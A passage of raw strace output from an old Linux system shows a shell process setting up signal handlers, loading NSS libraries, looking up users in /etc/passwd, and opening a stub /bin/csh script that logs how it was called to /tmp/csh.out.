rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
socket(PF_UNIX, SOCK_STREAM, 0) = 1
connect(1, {sin_family=AF_UNIX, path=" /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)
close(1) = 0
open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/lib/libnss_compat.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=219843, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\31\0\000"..., 4096) = 4096
old_mmap(NULL, 45036, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4010e000
mprotect(0x40118000, 4076, PROT_NONE) = 0
old_mmap(0x40118000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x9000) = 0x40118000
close(1) = 0
open("/lib/libnsl.so.1", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096
old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40119000
mprotect(0x4012b000, 14376, PROT_NONE) = 0
old_mmap(0x4012b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x11000) = 0x4012b000
old_mmap(0x4012d000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000
close(1) = 0
brk(0x809b000) = 0x809b000
open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
open("/etc/passwd", O_RDONLY) = 1
fcntl(1, F_GETFD) = 0
fcntl(1, F_SETFD, FD_CLOEXEC) = 0
fstat64(0x1, 0xbffff550) = -1 ENOSYS (Function not implemented)
fstat(1, {st_mode=S_IFREG|0644, st_size=60, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4012f000
_llseek(1, 0, [0], SEEK_CUR) = 0
read(1, "root:x:0:0:root:/:/bin/bash\ntest"..., 4096) = 60
close(1) = 0
munmap(0x4012f000, 4096) = 0
uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
open("/lib/libnss_files.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096
old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4012f000
mprotect(0x40137000, 3616, PROT_NONE) = 0
old_mmap(0x40137000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x7000) = 0x40137000
close(1) = 0
brk(0x809c000) = 0x809c000
brk(0x809e000) = 0x809e000
getcwd("/", 4095) = 2
getpid() = 1004
getppid() = 1003
stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
stat("/usr/kerberos/bin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)
stat("/usr/kerberos/bin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)
stat("/sbin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)
stat("/usr/sbin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)
stat("/bin/sh", {st_mode=S_IFREG|0755, st_size=316848, ...}) = 0
getpgrp() = 1004
fcntl(-1, F_SETFD, FD_CLOEXEC) = -1 EBADF (Bad file descriptor)
rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_IGN}, 8) = 0
open("/bin/csh", O_RDONLY) = 1
lseek(1, 0, SEEK_CUR) = 0
read(1, "#!/bin/sh\necho \"I was called wit"..., 80) = 73
lseek(1, 0, SEEK_SET) = 0
fcntl(1, F_SETFD, FD_CLOEXEC) = 0
fcntl(1, F_GETFL) = 0 (flags O_RDONLY)
fstat(1, {st_mode=S_IFREG|0755, st_size=73, ...}) = 0
lseek(1, 0, SEEK_CUR) = 0
read(1, "#!/bin/sh\necho \"I was called wit"..., 73) = 73
brk(0x809f000) = 0x809f000
open("/tmp/csh.out", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 2
fcntl(1, F_GETFD) = 0x1 (flags FD_CLOEXEC)
fcntl(1, F_DUPFD, 10) = 10
fcntl(1, F_GETFD) = 0x1 (flags FD_CLOEXEC)
fcntl(10, F_SETFD, FD_CLOEXEC)